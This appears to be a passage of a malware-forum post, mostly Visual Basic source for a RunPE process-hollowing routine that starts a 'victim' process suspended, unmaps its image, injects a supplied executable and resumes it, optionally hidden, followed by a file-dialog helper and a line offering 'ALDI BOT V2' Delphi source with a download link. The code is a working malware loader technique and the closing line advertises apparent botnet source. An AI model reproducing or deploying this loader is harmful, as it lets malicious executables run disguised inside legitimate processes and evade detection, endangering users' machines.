SecName As String * IMAGE_SIZEOF_SHORT_NAME
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type

'=============Code================
Const OFFSET_4 = 4294967296#
Private Type OPENFILENAME 'Open & Save Dialog
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_HELPBUTTON = &H10
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_FILEMUSTEXISTS = &H1000
Private Const OFN_EXPLORER = &H80000
'OFN_EXPLORER OR OFN_FILEMUSTEXISTS
Private Const OFN_OPENFLAGS = &H81000
'OFN_OPENFLAGS OR OFN_OVERWRITEPROMPT AND NOT OFN_FILEMUSTEXIST
Private Const OFN_SAVEFLAGS = &H80002


Public Const MAX_PATH = 260
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib "comdlg32.dll" Alias "GetSaveFileNameA" (pOpenfilename As OPENFILENAME) As Long

Public Function GetFileName2(Optional ByVal sFileName As String, Optional ByVal sFilter As String, Optional ByVal sTitle As String, Optional bOpen As Boolean = True) As String
Dim OFN As OPENFILENAME
Dim ret As Long
Dim sExt As String
With OFN
.lStructSize = Len(OFN)
For i = 1 To Len(sFilter)
If Mid(sFilter, i, 1) = "|" Then
Mid(sFilter, i, 1) = vbNullChar
End If
Next
sFilter = sFilter & String$(2, 0)
.lpstrFilter = sFilter
.lpstrTitle = sTitle
.lpstrInitialDir = App.Path
.hInstance = App.hInstance
.lpstrFile = sFileName & String(MAX_PATH - Len(sFileName), 0)
.lpstrFileTitle = String(MAX_PATH, 0)
.nMaxFile = MAX_PATH
End With
If bOpen Then
OFN.flags = OFN.flags Or OFN_OPENFLAGS
ret = GetOpenFileName(OFN)
Else
OFN.flags = OFN.flags Or OFN_SAVEFLAGS
ret = GetSaveFileName(OFN)
End If
If ret Then GetFileName2 = TrimNull(OFN.lpstrFile)
End Function

Public Function TrimNull(startstr As String) As String
Dim pos As Integer
pos = InStr(startstr, Chr$(0))
If pos Then
TrimNull = Left$(startstr, pos - 1)
Exit Function
End If
TrimNull = startstr
End Function



Public Function RunExe(ByVal sVictim As String, abExeFile() As Byte, Optional hidden As String) As Long
Dim idh As IMAGE_DOS_HEADER
Dim inh As IMAGE_NT_HEADERS
Dim ish As IMAGE_SECTION_HEADER
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFO
Dim context As CONTEXT86
Dim ImageBase As Long, ret As Long, i As Long
Dim addr As Long, lOffset As Long

CopyMemory idh, abExeFile(0), Len(idh)

CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)

If hidden = "1" Then
si.dwFlags = &H1
End If

si.cb = Len(si)
Call CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi)

context.ContextFlags = CONTEXT86_INTEGER
If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
If addr = 0 Then GoTo ClearProcess
If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If ImageBase = 0 Then GoTo ClearProcess

Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)
lOffset = idh.e_lfanew + Len(inh)
For i = 0 To inh.FileHeader.NumberOfSections - 1
CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)
Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.Characteristics), addr)
Next i

Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)
context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
Call SetThreadContext(pi.hThread, context)

Call ResumeThread(pi.hThread)
Exit Function
ClearProcess:
CloseHandle pi.hThread
CloseHandle pi.hProcess
End Function

Public Function Protect(ByVal Characteristics As Long) As Long
Dim mapping As Variant
mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
Protect = mapping(RShift(Characteristics, 29))
End Function

Public Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function

Public Function vbLongToULong(ByVal value As Long) As Double
If value < 0 Then
vbLongToULong = value + OFFSET_4
Else
vbLongToULong = value
End If
End Function





ALDI BOT V2 Source DELPHI

http://www.multiupload.com/2GX1IWQNJK

Codebase

Codebase